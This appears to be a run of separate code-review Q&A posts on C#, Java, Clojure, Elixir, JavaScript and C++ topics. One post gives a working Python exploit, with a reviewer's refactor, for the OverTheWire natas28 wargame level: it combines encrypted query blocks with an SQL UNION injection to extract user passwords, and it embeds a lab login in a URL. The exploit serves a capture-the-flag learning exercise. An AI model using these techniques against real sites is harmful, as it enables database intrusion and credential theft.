Converting from strings to byte arrays with LINQ in C# I'm taking in a string of input from the command line, and when prefixed by 0o or 8# interpreting it as an octal string. I'd like to convert it to a byte array more directly, but I'm not sure how to perform the bit carrying in LINQ.

All three of these methods are fully working; you can checkout the repository or just download the built executable and run it from the command line if need be.

I'd like a review of all three working methods, but more specifically I'd like to have the Octal method, below, not use a BitArray intermediary, similar to the Binary and Hex methods.

Here's how I'm doing it for hexadecimal (mostly LINQ):

public static byte[] GetHexBytes(this string hex, bool preTrimmed = false)
{
    if (!preTrimmed)
    {
        hex = hex.Trim();
        if (hex.StartsWith("0x", StringComparison.OrdinalIgnoreCase))
            hex = hex.Substring(2);
        else if (hex.StartsWith("16#"))
            hex = hex.Substring(3);
    }

    if (hex.Length % 2 != 0) hex = hex.PadLeft(hex.Length + 1, '0');

    return Enumerable.Range(0, hex.Length)
            .Where(x => x % 2 == 0)
            .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
            .ToArray();
}

And here's binary (mostly LINQ):

public static byte[] GetBinaryBytes(this string binary, bool preTrimmed = false)
{
    if (!preTrimmed)
    {
        binary = binary.Trim();
        if (binary.StartsWith("0b", StringComparison.OrdinalIgnoreCase) || binary.StartsWith("2#"))
            binary = binary.Substring(2);
    }

    if (binary.Length % 8 != 0) binary = binary.PadLeft(binary.Length + 8 - binary.Length % 8, '0');

    return Enumerable.Range(0, binary.Length)
            .Where(x => x % 8 == 0)
            .Select(x => Convert.ToByte(binary.Substring(x, 8), 2))
            .ToArray();
}

And here's what I've got for Octal (LINQ, then a BitArray, then more LINQ):

public static byte[] GetOctalBytes(this string octal, bool preTrimmed = false)
{
    if (!preTrimmed)
    {
        octal = octal.Trim();
        if (octal.StartsWith("0o", StringComparison.OrdinalIgnoreCase) || octal.StartsWith("8#"))
            octal = octal.Substring(2);
    }

    octal = octal.TrimStart('0');
    if (octal.Length == 0)
        octal = "0";

    BitArray bits = new BitArray(octal
        .Reverse()
        .SelectMany(x =>
            {
                byte value = (byte)(x - '0');
                return new bool[] { (value & 0x01) == 1, (value & 0x02) == 2, (value & 0x04) == 4 };
            })
        .ToArray());

    byte[] bytes = new byte[bits.Length / 8 + 1];
    bits.CopyTo(bytes, 0);

    bytes = bytes.Reverse().SkipWhile(b => b == 0x00).ToArray();
    if (bytes.Length == 0)
        bytes = new byte[] { 0x00 };

    return bytes;
}

I don't like using the BitArray intermediary, but I don't know how to do it without it. If possible, I'd like the whole conversion in a single LINQ statement like the hex and binary.

This is part of a C# console application for computing hashes. Here's a link to the relevant source file on Github.

Edit: corrected an issue with leading zero bytes in the result.

I'll focus on the GetOctalBytes method in this review.

Also, for the explanation I assume that the string is processed right-to-left (reverse order) and similarily, the resulting byte array starts with the lowest byte at index 0. Those assumptions will be represented / corrected in the final code.

For octal strings, a group of 8 characters forms a group of up to 3 result bytes. So for each complete group, take 3 bytes. The following table shows important properties for different character counts of a group.

(in-group character count) (bits count) (bytes needed) (affected byte indices in group)
1                           3           1              0
2                           6           1              0
3                           9           2              0, 1
4                          12           2                 1
5                          15           2                 1
6                          18           3                 1, 2
7                          21           3                    2
8                          24           3                    2

The total bytes needed can be calculated as (octal.Length * 3 + 7) / 8. However, for length 3 or 6, the actually needed byte count can be lower, if the character value needs only 2 or 1 of its bits. So for these cases, the number of bytes can be lowered. Since a new group starts every 8 characters and each group needs 3 bytes, the starting index of the current byte group in the result array can be calculated as (character_index / 8) * 3. The affected in-group indices are calculated from the remainder:

remainder = (character_index % 8);
if (remainder < 3) group-index 0 affected
if (remainder >= 2 && remainder < 6) group-index 1 affected
if (remainder >= 5) group-index 2 affected

In order to avoid leading zero bytes, the character value has to be considered additionally for the second and third byte.

I hope these explanations are enough introduction for the following code suggestion:

Note: I ditched the linq solution in favor of a more readable solution with less array-recreation.

public static byte[] GetOctalBytes(this string octal, bool preTrimmed = false)
{
    if (!preTrimmed)
    {
        octal = octal.Trim();
        if (octal.StartsWith("0o", StringComparison.OrdinalIgnoreCase) || octal.StartsWith("8#"))
            octal = octal.Substring(2);
    }

    octal = octal.TrimStart('0');
    if (octal.Length == 0)
        return new byte[] { 0 };

    var arrayLength = (octal.Length * 3 + 7) / 8;
    var inGroup = (octal.Length % 8);
    if ((inGroup == 3 && octal[0] < '4') ||
        (inGroup == 6 && octal[0] < '2'))
    {
        --arrayLength;
    }

    var result = new byte[arrayLength];

    for (int i = 0; i < octal.Length; i++)
    {
        var baseIndex = (i / 8) * 3;
        var shift = (i % 8) * 3;
        var valueInGroup = (octal[octal.Length - i - 1] - '0') << shift;

        result[result.Length - baseIndex - 1] |= (byte)(valueInGroup & 0xff);
        if (valueInGroup > 0xff)
            result[result.Length - baseIndex - 2] |= (byte)((valueInGroup >> 8) & 0xff);
        if (valueInGroup > 0xffff)
            result[result.Length - baseIndex - 3] |= (byte)((valueInGroup >> 16) & 0xff);
    }

    return result;
}


Spring Boot Websocket STOMP Crud I have a personal project that runs the backend under spring boot that implements websocket for real-time functionality and I apply it to a crud operations.

Although the code is working and work as expected I doubt if I do the correct implementation of spring websocket here.

I've used React as my frontend as call the crud function on their @MessageMapping annotation.

The way I implement the backend to my frontend is.

Fetching all Person records and store in an array state.
Then for create Person record I just append in to the new record to the persons state array

I doubt if I do it correctly because when I debug the websocket client, I found out that it.

@Autowired
private SimpMessagingTemplate template;

@Autowired
public PersonController(PersonRepository personRepository) {
    this.personRepository = personRepository;
}

@MessageMapping("/person/add")
public void createPerson(Person person) {
    Person savePerson = new Person(person.getFirstName(), person.getLastName());
    personRepository.save(savePerson);
    this.template.convertAndSend("/topic/person", viewPersons());
}

@RequestMapping("/person")
@ResponseBody
public List<Person> viewPersons(){
    List<Person> persons = personRepository.findAll();
    return persons;
}

@MessageMapping("/person/delete")
public void deletePerson(@Payload PersonDeleteRequest request) {
    Person person = personRepository.findById(request.getId()).orElseThrow(() -> new RuntimeException("No id found."));
    personRepository.delete(person);
    this.template.convertAndSend("/topic/person", viewPersons());
}

@MessageMapping("/person/update")
public void updatePerson(@Payload Person requestPerson) {
    Person person = personRepository.findById(requestPerson.getId()).orElseThrow(() -> new RuntimeException("No id found."));
    person.setFirstName(requestPerson.getFirstName());
    person.setLastName(requestPerson.getLastName());
    personRepository.save(person);
    this.template.convertAndSend("/topic/person", viewPersons());
}

@Autowired is not required on constructor in Spring over 4.3 (class has to be annotated as bean and have only one constructor).

Inject SimpMessagingTemplate template in a constructor. Now you mix annotation and constructor injection.

IMHO you shouldn't put any business login in controller methods. I would move it all to separate service. For example I would write updatePerson() like this:

@MessageMapping("/person/update")
public void updatePerson(@Payload Person requestPerson) {
    personService.updatePerson(requestPerson);
    this.template.convertAndSend("/topic/person", personService.viewPersons());
}

In updatePerson() and createPerson() you should have separate objects instead of Person class. E.g. CreatePersonRequest and UpdatePersonRequest

I would change viewPersons() to getAllPersons()

The rest look fine :)


Making this arraycopy more efficient I'd like to find out how I can make my function more efficient:

public boolean addAll(int i, Collection<? extends T> c) {
    for (T x : c)
        add(i++, x);
    return true;
}

public void add(int i, T x) {
    if (n + 1 > a.length) resize();
    System.arraycopy(a, i, a, i+1, n-i);
    a[i] = x;
    n++;
}

protected void resize() {
    T[] b = f.newArray(Math.max(2 * n,1));
    System.arraycopy(a, 0, b, 0, n);
    a = b;
}

I'm not sure what else I can do to implement a more efficient way to use my addAll() function.

As @Brythan suggested, you should rename your variables. I propose:

arr instead of a
size instead of n
index instead of i
copy instead of b
items or elements or collection instead of c

I suppose that addAll returns a boolean to mimic the behavior of Collections.addAll. That is all well, except you're not actually implementing that behavior, only the method signature. The JavaDoc says:

  Returns:

  true if the collection changed as a result of the call

So you should change your implementation accordingly. Perhaps something like this:

public boolean addAll(int index, Collection<? extends T> items) {
    if (items.isEmpty()) {
        return false;
    }
    if (size + items.size() > arr.length) {
        resize(2 * (size + items.size()));
    }
    System.arraycopy(arr, index, arr, index + items.size(), size - index);
    for (T item : items) {
        arr[index++] = item;
    }
    size += items.size();
    return true;
}

This also includes my naming suggestions, as well as Brythan's advice to avoid calling add one by one for each element. For the resizing, I added a helper method and refactored the existing one like this:

private void resize() {
    resize(Math.max(2 * size, 1));
}

private void resize(int targetSize) {
    T[] copy = newArray(targetSize);
    System.arraycopy(arr, 0, copy, 0, size);
    arr = copy;
}

(Since I don't know what was "f" in your original f.newArray, I wrote my own newArray.)

Notice that I changed the visibility of resize to private.
This is an internal operation that shouldn't be accessible by any other class by default.

Finally, by the same logic of addAll (following existing examples), add should also return boolean: true if the collection was modified. (In your case always.)


Reservoir Sampling in Clojure I am learning clojure and decided to start out by trying to write a solution to a fairly simple algorithm, reservoir sampling.  As I stated, I am learning clojure specifically and problem solving in a functional language in general.  Can someone please take a look at my code and critique it on it's "clojureness".  Am I using the right idiomatic conventions, is there a way that performs better (and why), formatting, anything really.

(defn sample-seq [size data]
  (loop [sample (transient (vec (take size data)))
         idx size
         data (drop size data)]
    (if (empty? data)
      (persistent! sample)
      (let [rand-num (rand-int idx)
            new-sample (if (< rand-num size)
                         (assoc! sample rand-num (first data))
                         sample)]
        (recur new-sample (inc idx) (rest data))))))
(println (sample-seq 4 [2.0, 4.0, 7.0, 6.0, 3.0, 8.0, 12.0, 9.0, 4.0, 1.0]))

I think your code is pretty readable and looks like idiomatic enough Clojure code¹. So from a readability standpoint your code seems fine. However performing assoc on a vector of length n takes O(log n) time, so your runtime will be in O(n log n) as opposed to O(n), which an imperative implementation would be in.

However there's not much you can do about this other than perhaps using java arrays imperatively, but that would be very unidiomatic Clojure code. And O(n log n) isn't that bad (definitely not as bad as the O(n^2) I incorrectly claimed before).

(Note that my previous note about transients was wrong as assoc! on a transient vector has the same runtime complexity as on a persistent vector).

¹ Usually you'd avoid index-based loops wherever possible, but the nature of the algorithm makes that pretty much impossible here.


Elixir pipes and anonymous functions I recently got started with Elixir.  I'm used to F#'s pipes, and Seq.map and LINQ's .Select statements.  Things are different in Elixir, and the code I have seems very ugly.  Anon functions in anon functions.

defrecord FileData, name: "", date: nil
  def filedetails() do
    files = File.ls!
    datestr = fn {{year, month, day}, _time} -> "#{day}/#{month}/#{year}" end
    filedates = files |> (Stream.map &(File.stat!(&1)))
                      |> (Stream.map &(&1.ctime))
                      |> Stream.map &(datestr.(&1))

    Enum.zip(files,filedates)
      |> Enum.map fn {n,d}->FileData[name: n, date: d] end

  end

How should this be done?

I'm not sure why you'd need to pipe three different streams - one for every manipulation. I'd probably use one Stream to do all the manipulations together, something like:

filedates = files |> Stream.map &((&1 |> File.stat!).ctime |> datastr.())

or

filedates = files |> Stream.map &(File.stat!(&1).ctime |> datastr.())


Please review my implementation of a simple When/Then (pseudo Promise) in javascript I'm hoping some folks can take a few minutes to review some code I was working on today.

https://gist.github.com/1115202

Essentially, I'm doing a lot of work in Node.js at the moment and I'm a big fan of Promises.

Since 99% of the work that I'm doing involves performing several asynchronous actions and then parsing the results, I wanted something a little simpler and more light-weight that some of the other Promise/Deferred/Futures libraries that are out there.

My aim with this is to have a simple when().then() format without having to instantiate a new Promise inside each function.

The usage is like this:

when(
    function(){ this.pass(1); },
    function(){ this.pass(2); }
)
.then(function(results){
    console.log( results );
});

In the Github gist I've linked to above, there are use cases near the bottom. Test case 1 uses timeouts, the 2nd test case uses several async http requests in Node.js and logs the total results at the end when all 3 have finished.

I'd love to hear any opinions good or bad, recommendations on how to make it better, etc.

I made The following edits:

Prevent the same when function from calling pass twice(therefore invalidating results)
Sends pass function as 1st argument to avoid var that = this
It stores the first pass arg only for simplicity instead of all arguments in results(easily switched)
Then function can't be called more then one
I removed the need for When and when functions(you could leave the separate functions for clarity if you wanted)
There is now only one method then and prop funcs

https://gist.github.com/1115319

Usage

when(
    function(pass){setTimeout(pass,3000)},
    function(pass){pass('2nd');}
)
.then(function(results){
    console.log(results);
})


Check if array contains contiguous integers with duplicates allowed in Java Given an array of n integers(duplicates allowed). Print “Yes” if it is
  a set of contiguous integers else print “No”.

  INPUT: The first line consists of an integer T i.e. the number of test
  cases. First line of each test case consists of an integer n, denoting
  the size of array. Next line consists of n spaced integers, denoting
  elements of array.

  OUTPUT:  Print “Yes” if it is a set of contiguous integers else print
  “No”.

  CONSTRAINTS: 1<=T<=100 1<=n<100000 a[i]<=105

  Example:

2
8
5  2  3  6  4  4  6  6
7
10  14  10  12  12  13  15

  Output :  Yes  No

  Explanation: Test Case 1 : The elements  of array form a contiguous
  set of integers which is {2, 3, 4, 5, 6} so the output is Yes. Test
  Case 2: We are unable to form contiguous set of integers using
  elements of array.

My approach:

/*package whatever //do not write package name here */

import java.io.InputStreamReader;
import java.io.BufferedReader;
import java.io.IOException;
import java.util.Set;
import java.util.HashSet;
import java.util.List;
import java.util.ArrayList;
import java.util.Collections;

class GFG {

    private static void checkContig (int [] arr, int n)
        {
            Set <Integer> set = new HashSet <>();

            for (int elem:arr)
                {
                    set.add(elem);
                }

            List <Integer> arrNoReps = new ArrayList <>();
            arrNoReps.addAll(set);
            Collections.sort(arrNoReps);

            int first = arrNoReps.get(0);
            int last = first + arrNoReps.size() - 1;

            for (int i = first; i <= last; i++)
                {
                    if( !arrNoReps.contains(i))
                        {
                            System.out.println("No");
                            return;
                        }
                }
            System.out.println("Yes");
        }

    public static void main (String[] args) throws IOException {
        BufferedReader br = new BufferedReader (new InputStreamReader (System.in));
        String line = br.readLine();

        int T = Integer.parseInt(line);
        String line2;
        String line3;
        String [] inps;
        int n;
        for (int i = 0; i < T; i++)
            {
                line2 = br.readLine();
                n = Integer.parseInt(line2);
                int [] arr = new int[n];
                line3 = br.readLine();
                inps = line3.split(" ");
               // System.out.println(n);
                for (int j = 0; j < n; j++)
                    {
                        arr[j] = Integer.parseInt(inps[j]);
                        //System.out.println(inps[j]);
                    }
                checkContig(arr,n);
            }
    }
}

I have the following questions with regards to the code written above:

1) Does there exist a smarter way to solve this question?

2) Am I violating some serious Java coding conventions?

3) How can I improve my time and space complexity?

4) Can I use some different data structures which can solve the question faster?

Source

Code. Separate the business logic from the IO. checkContig shall not print anything, but only return a success/failure indication. Printing is up to a caller.

Algorithm. arrNoReps.contains(i) fails to take into account the fact that arrNoReps is already sorted, effectively leading to a quadratic complexity. If the array is sorted, you can test its contiguity in a linear time:

    for (i = 1; i < arr.size(); i++) {
        if (arr[i] - arr[i-1] != 1) {
            return false;
        }
    }
    return true;

Notice that the same logic is applicable to the sorted array with repetitions. A difference between to successive elements in a sorted array is either 0 (a dupe), or 1 (contiguity maintained), or any other positive number (contiguity broken), so

    for (i = 1; i < arr.size(); i++) {
        if (arr[i] - arr[i-1] > 1) {
            return false;
        }
    }
    return true;

which means that the conversion to the set and back to array is quite redundant.


natas28 Padding Oracle Attack Another natas challange, they are getting progressively harder. I barely completed this. Mostly thnx to @aires to help me with the crypto stuff.
This time, a Padding Oracle attack was needed to get the password for the next level. Another reason to be scared of crypt:o
In short the Padding Oracle Attack works like this:

It turns out that knowing whether or not a given ciphertext produces plaintext with valid padding is ALL that an attacker needs to break a CBC encryption. If you can feed in ciphertexts and somehow find out whether or not they decrypt to something with valid padding or not, then you can decrypt ANY given ciphertext.
So the only mistake that you need to make in your implementation of CBC encryption is to have an API endpoint that returns 200 if the ciphertext gives a plaintext with valid padding, and 500 if not.

I've added a link with the full description
import requests
import re
import base64
from urllib.parse import quote, unquote

def natas28(url):
    session = requests.Session()
    cipher_text = lambda url, plain_text:base64.b64decode(unquote(session.post(url, data={"query":plain_text}).url.split("query=")[1]))

    def _block_size(url):
        ciphertext = cipher_text(url, '')
        pre_len = len(ciphertext)
        idx = 0

        while pre_len >= len(ciphertext):
            plaintext = 'a' * idx
            ciphertext = cipher_text(url, plaintext)
            idx += 1

        return len(ciphertext) - pre_len

    def _prefix_size(url):
        block_size = _block_size(url)
        plain_text = 'a' * block_size * 3
        cypher = cipher_text(url, plain_text)
        cipher_a = ""

        for i in range(0, len(cypher), block_size):
            if cypher[i:i+block_size] == cypher[i+block_size: i+block_size*2]:
                cipher_a = cypher[i: i+block_size]
                break

        for i in range(block_size):
            plain_text = 'a' * (i + block_size)
            cypher = cipher_text(url, plain_text)
            if cipher_a in cypher:
                return block_size, i, cypher.index(cipher_a)

    block_size, index, cypher_size = _prefix_size(url)
    plain_text = 'a'* (block_size // 2)
    cypher = cipher_text(url, plain_text)

    sql = " UNION ALL SELECT concat(username, 0x3A ,password) FROM users #"
    pt = 'a' * index + sql + 'b' * (block_size - (len(sql) % block_size))
    ct = cipher_text(url, pt)
    e_sql = ct[cypher_size:cypher_size-index+len(pt)]
    response = session.get(f"{url}search.php/?query=", params={"query": base64.b64encode(cypher[:cypher_size]+e_sql+cypher[cypher_size:])})
    return re.findall(r"<li>natas29:(.{32})<\/li>", response.text)[0]

if __name__ == '__main__':
     url='http://natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF@natas28.natas.labs.overthewire.org/'
     print(f"Password = {natas28(url)}")

I know it's only a challange, so I don't always feel the need to us proper variable names. But I fear when I come back to this challange, I'm confused how this worked again.
Any review is welcome.

Disclaimer:

There is no review for the crypto
The pieces of code below are based on a slightly modified code where the nested functions and lambda functions are renamed and extracted out to ease my understanding

Consistent spelling

It looks like nothing but having a mix of cypher and cipher makes the code tedious to read/update. Try to be consistent even if both spellings are valid.

Improving _block_size

A few things can be improved in _block_size:

Avoid calling len more than once on a given ciphertext (as of now, len is called twice on the first and last ciphertext computed).
Avoid performing the computation for an empty plaintext more than twice.
Avoid having to keep track of the count idx explicitly. We could use itertools.count to have this done automatically.

The first 2 points could be handled using additional variables and rewriting the loop. Then, taking into account the last point, we get:

def get_block_size(session, url):
    pre_len = len(cipher_text(session, url, ''))
    for idx in itertools.count(1):
        cipher_len = len(cipher_text(session, url, 'a' * idx))
        if cipher_len > pre_len:
            return cipher_len - pre_len

Improving _prefix_size

The logic around indexing makes it look more complicated that it really is. Using a variable for the current block and the previous block could make this clearer.

It is not clear what cipher_a means. We initialise it with "" but the code later on would not work with that value (TypeError: a bytes-like object is required, not 'str').
We should fail in a more explicit way when then value is not found. (This can be detected using the not-so-famous else for for loop which gets executed when the loops ends "normally", without a break).

Similarly, in the second loop when nothing is found, we return an implicit None which leads to another error (TypeError: 'NoneType' object is not iterable).

At this stage, we have:

def get_prefix_size(session, url):
    block_size = get_block_size(session, url)
    cipher = cipher_text(session, url, 'a' * block_size * 3)
    prev_block = None
    for i in range(0, len(cipher), block_size):
        block = cipher[i:i+block_size]
        if block == prev_block:
            break
        prev_block = block
    else: # no break
        assert False # Handle error properly here

    for i in range(block_size):
        cipher = cipher_text(session, url, 'a' * (i + block_size))
        if block in cipher:
            return block_size, i, cipher.index(block)
    assert False # Handle error properly here

Or if you do not plan to handle errors properly:

def get_prefix_size(session, url):
    block_size = get_block_size(session, url)
    cipher = cipher_text(session, url, 'a' * block_size * 3)
    prev_block = None
    for i in range(0, len(cipher), block_size):
        block = cipher[i:i+block_size]
        if block == prev_block:
            break
        prev_block = block

    for i in range(block_size):
        cipher = cipher_text(session, url, 'a' * (i + block_size))
        if block in cipher:
            return block_size, i, cipher.index(block)

Improving natas28

The whole logic is pretty complicated. It probably deserves some explanations. Also, the variable names do not look very obvious to me.

The modulo computation could be slightly simplified. Indeed, in Python, x % y has the same sign as y. You could write: (-len(sql) % block_size)

The computations performed with index could probably be simplified: we add index "a" to a string, then compute the overall length, then substract index.

sql = " UNION ALL SELECT concat(username, 0x3A ,password) FROM users #"
sql_with_suffix = sql + 'b' * (-len(sql) % block_size)

ct = cipher_text(session, url, 'a' * index + sql_with_suffix)
e_sql = ct[cipher_size:cipher_size+len(sql_with_suffix)]

Simplify SQL and parsing

You write your query to get something under the format username:password when you only care about the password.

Conclusion

I haven't changed much in your code. Just details here and there. I'm still wrapping my head around the crypto techniques used but it sounds very interesting.

import requests
import re
import base64
from urllib.parse import quote, unquote
import itertools

def cipher_text(session, url, plain_text):
    return base64.b64decode(unquote(session.post(url, data={"query":plain_text}).url.split("query=")[1]))

def get_block_size(session, url):
    pre_len = len(cipher_text(session, url, ''))
    for idx in itertools.count(1):
        cipher_len = len(cipher_text(session, url, 'a' * idx))
        if cipher_len > pre_len:
            return cipher_len - pre_len

def get_prefix_size(session, url):
    block_size = get_block_size(session, url)
    cipher = cipher_text(session, url, 'a' * block_size * 3)
    prev_block = None
    for i in range(0, len(cipher), block_size):
        block = cipher[i:i+block_size]
        if block == prev_block:
            break
        prev_block = block

    for i in range(block_size):
        cipher = cipher_text(session, url, 'a' * (i + block_size))
        if block in cipher:
            return block_size, i, cipher.index(block)

def natas28(url):
    session = requests.Session()
    block_size, index, cipher_size = get_prefix_size(session, url)
    cipher = cipher_text(session, url, 'a'* (block_size // 2))
    beg, end = cipher[:cipher_size], cipher[cipher_size:]

    sql = " UNION ALL SELECT password FROM users #"
    sql_with_suffix = sql + 'b' * (-len(sql) % block_size)

    ct = cipher_text(session, url, 'a' * index + sql_with_suffix)
    e_sql = ct[cipher_size:cipher_size+len(sql_with_suffix)]

    response = session.get(url + "search.php/?query=", params={"query": base64.b64encode(beg + e_sql + end)})
    return re.findall(r"<li>(.{32})<\/li>", response.text)[0]

if __name__ == '__main__':
     password = natas28('http://natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF@natas28.natas.labs.overthewire.org/')
     print("Password = " + password)


Java - Creating a Paginated List I need to create a class which acts as a paginated list. My use case is like this:

I am writing a library which makes a service call to fetch a List<obj>. Since the List<> can be large, the service expects me to call with a PAGE_SIZE. The service has also provided me with a TPS of x which I need call it with.

I need to do two things:

Rate Limit my calls to the Service
Expose a PaginatedList<> from the library so that any client can use the Library and rate limit as per their TPS.

I was wondering whether the way I am implementing this PaginatedList is correct or if there is a better way.

public MyPaginatedList {
  private static final PAGE_SIZE = 50;
  private ServiceClient client;
  private int pageToProcess = 0; //to keep track of which page we need to process next
  private List<Data> data; // this is what the library exposes to outside world
  public MyPaginatedList(ServiceClient client) {
    this.client = client;
  }

  public MyPaginatedList getDataList(){
    Servicerequest request = new ServiceRequest();
    request.setIndex(PAGE_SIZE*pageToProcess++); // fetch the next set of items

    this.data = client.APICall(request);
    return this; // we return the current object
  }
}

The public API exposed by this Library would use MyPaginatedList like this:

class Library {
  private ServiceClient client;

  public Library(ServiceClient client) {
    this.client = client;
  }
  public MyPaginatedList fetchData() {
    return new MyPaginatedList(client).getDataList();
  }
}

Any client of this library can use MyPaginatedList and make Rate Limited Calls like this.

MyPaginatedList resultData = new Library().fetchData();
while(true) {
  for(Data d: resultData.getData()) // loop over the list exposed by MyPaginatedlist
  ...
  }
  RateLimiter.acquire(); // use guava rate limiter, would block till a token is available
  resultData = resultData.getDataList();
  if(resultData.getData().isempty()) {
    break;
  }
}

Edit:-

3 straightforward approaches come to my mind -

  The one described above. Where the PaginatedList would expose a way to fetch next pages (batch of elements or List<>)
  Let the Library expose 2 API's -

  PaginatedList fetchData() -> client would call this one initially
  PaginatedList fetchNextPage(PaginatedList) -> client would call this
  for sub-sequent pages
  This one is slightly modified version of approach 2. Let library expose a modified fetchData()

  PaginatedList fetchData(PaginatedList list) -> initially client
  would need to create a new PaginatedList(), which would initialize
  it's state like pageToProcess = 0; This API kind of takes in the
  metadata associated with the service call to identify which page to
  get next

Any more suggestions or variations would be appreciated!

spring has the concept of paging and they do something like this:

public Page findAll(Pageable pageable);

where the Page interface has the following methods (trimmed):

getTotalElements()
getTotalPages()
isFirst()
isLast()
nextPageable()
previousPageable()

it also extends the iterable interface so you can loop like this:

Library library = new Library();
Pageable pageRequest = ...
Page<T> page;
do {
  page = library.getData(pageRequest);
  for (T t: page) {
    log.debug("T is {}", t);
  }
  pageRequest = page.nextPageable();
} while( !page.isLast() );

the most notable difference is that the page being requested is not stored as a state in the client library. by storing the state you make it harder to use the same instance from multiple places in the code.

see http://docs.spring.io/spring-data/rest/docs/1.1.x/reference/html/paging-chapter.html


VERY simple C# Set implementation This is not meant to solve any insane real world problems. I just want to make sure my Set logic is right and the code looks okay. It feels weird implementing it with a Dictionary of dummy values but it seems that's how most languages do it anyway. What do you think?

public class Set : IEnumerable
    {
        private readonly Dictionary<object, bool> _items;

        public Set()
        {
            _items = new Dictionary<object, bool>();
        }

        public void Add(object item)
        {
            if (!_items.ContainsKey(item))
            {
                _items.Add(item, true);
            }
        }

        public void Remove(object item)
        {
            if (_items.ContainsKey(item))
            {
                _items.Remove(item);
            }
        }

        public bool Contains(object item)
        {
            return _items.ContainsKey(item);
        }

        public int Count()
        {
            return _items.Keys.Count;
        }

        public void Clear()
        {
            _items.Clear();
        }

        public void UnionWith(Set input)
        {
            foreach (var item in input.Cast<object>().Where(item => !_items.ContainsKey(item)))
            {
                _items.Add(item, true);
            }
        }

        public void IntersectWith(Set input)
        {
            var newSet = new Set();
            foreach (var item in _items.Keys.Where(input.Contains))
            {
                newSet.Add(item);
            }
            Clear();
            foreach (var item in newSet)
            {
                _items.Add(item, true);
            }
        }

        public void DifferenceWith(Set input)
        {
            var newSet = new Set();
            foreach (var item in _items.Keys.Where(item => !input.Contains(item)))
            {
                newSet.Add(item);
            }
            Clear();
            foreach (var item in newSet)
            {
                _items.Add(item, true);
            }
        }

        public bool IsSubsetOf(Set input)
        {
            return _items.Keys.All(input.Contains);
        }

        public IEnumerator GetEnumerator()
        {
            return _items.Keys.GetEnumerator();
        }
    }

I'm going to assume that you already know about HashSet and ISet in the following review and are just missing the reinventing-the-wheel tag.

ICollection

You've got Add, Remove, Clear, Count, and Contains. If you add a CopyTo(T[] array, int arrayIndex) and bool IsReadOnly { get { return false; } } to your implementation then you can implement ICollection.

Why Dictionary?

Perhaps you'd be better suited with a HashSet<T> implementation? Correct me if I'm wrong but it doesn't appear you're actually using the boolean value of the dictionary, so you'd be better suited with a Hashset<T>.

Generics

You could create a generic implementation Set<T> fairly easily. And if you wanted to still allow your existing functionality then you'd use Set<object>.

Set Operations

Perhaps consider having your operator functions return the new set from their actions?

For example,

public Set UnionWith(Set input)
{
    var unionedSet = new Set(_items); // See suggestion below.
    foreach (var item in input.Where(x => _items.ContainsKey(item)))
    {
        unionedSet.Add(item, true);
    }

    return unionedSet;
}

Constructor

Adding the ability to give IEnumerable or ICollection of items in a constructor could be really helpful, especially if you have your set operations return new sets as suggested above.


Rotating array members I had a situation when I needed to move all array elements in circular fashion. When I say this, I mean:

0 1 2 3
1 2 3 0
2 3 0 1
3 0 1 2

The array:

var players = ["hash1","hash2","hash3","hash4"];

Players is the array that contains user hashes and their place on the table. Table is round, so array must rotate in circular fashion.
Step dictates by how much it should move.

I came up with following algorithm (if you can call that, probably not) that works fine. I was just wondering if there was a more efficient way. Or cleaner way to do same?

The offset variable is probably wrongly named; I couldn't come up with a better name.

var step = 0 // 3,2,1,0
    var offset = 0;
    var players_new = [];
    for (var i = 0; i <= players.length - 1; i++) {
        if (i + step <= players.length - 1) {
            players_new[i + step] = players[i];
            offset++;
        } else {
            players_new[i - offset] = players[i];
        }
    };

I tested many different versions, and looks like vazha's version is the fastest all around, except in Firefox.

jsperf

Since I'm using this code in node.js, which uses the Chrome engine, results are important.

You should use shift and push

function rotate( array , times ){
  while( times-- ){
    var temp = array.shift();
    array.push( temp )
  }
}

//Test
var players = ['Bob','John','Mack','Malachi'];
rotate( players ,2 )
console.log( players );

shift removes the first element, push adds an element at the end.
I am not sure whether you are using players_new because you do not know how to modify the original array or because you do not want to modify the original. If you do not want to modify the original array you could:

function rotate( array , times ){
  array = array.slice();
  while( times-- ){
    var temp = array.shift();
    array.push( temp )
  }
  return array;
}

//Test
var players = ['Bob','John','Mack','Malachi'];
console.log( rotate( players ,2 ) );

Finally, if you meant to declare an array, you should have var players_new = [];, not var players_new = {};. Plus players_new is an unfortunate name.

Golfic edition:

while(times--)array.push(array.shift());


LRU cache implementation in C++ using unordered_map and doubly linked list I have implemented an LRU cache in C++ using a hash table and a doubly linked list. Any kind of feedback is appreciated.

#pragma once
#include<memory>

template<typename Key , typename Value>
class Node {
  public:
    Key key;
    Value val;

    std::shared_ptr<Node> next;
    std::shared_ptr<Node> prev;

Node(Key k,Value v) :
     key(k),
     val(v),
     next(nullptr),
     prev(nullptr)
  {}
};

template<typename Key, typename Value>
class List {
  private:
    std::shared_ptr<Node<Key, Value>> front;
    std::shared_ptr<Node<Key, Value>> rear;

bool isEmpty() {
    return rear == nullptr;
 }

public:
List() : front(nullptr), rear(nullptr) {}

std::shared_ptr<Node<Key, Value>> Insert_Page_At_Front(Key k , Value v) {

    std::shared_ptr<Node<Key, Value>> page = std::make_shared<Node<Key,
    Value>>(k, v);

    if (front == nullptr && rear == nullptr) {
        front = page;
        rear = page;
    }
    else {
        page->next = front;
        front->prev = page;
        front = page;
    }
    return page;
  }

  void Move_Page_To_Front(std::shared_ptr<Node<Key, Value>> page) {
    if (page == front) {
        return;
    }
    if (page == rear) {
        rear = rear->prev;
        rear->next.reset();
    }
    else {
        page->prev->next = page->next;
        page->next->prev = page->prev;
    }

    page->next = front;
    page->prev.reset();
    front->prev = page;
    front = page;
  }

  void remove_Page_From_Rear() {
    if (isEmpty()) {
        return;
    }
    if (front == rear) {
        rear.reset();
        front.reset();
        rear.reset();
    }
    else
    {
        std::shared_ptr<Node<Key, Value>> temp = rear;
        rear = rear->prev;
        rear->next.reset();
        temp.reset();
    }
  }

  std::shared_ptr<Node<Key, Value>> Get_Rear_Page() {
    return rear;
  }

};

#pragma once
#include"List.h"
#include<unordered_map>

template<typename Key, typename Value>
class LRUCache {
private:
    unsigned int m_capacity;
    unsigned int m_currentSize;
    std::unordered_map<Key, std::shared_ptr<Node<Key, Value>> > m_pageMap;
    std::shared_ptr<List<Key,Value>> m_pageList;
public:
LRUCache(int Capacity) {
    m_capacity = Capacity;
    m_currentSize = 0;
    m_pageList = std::make_shared<List<Key,Value>>();
}

Value get(Key key) {
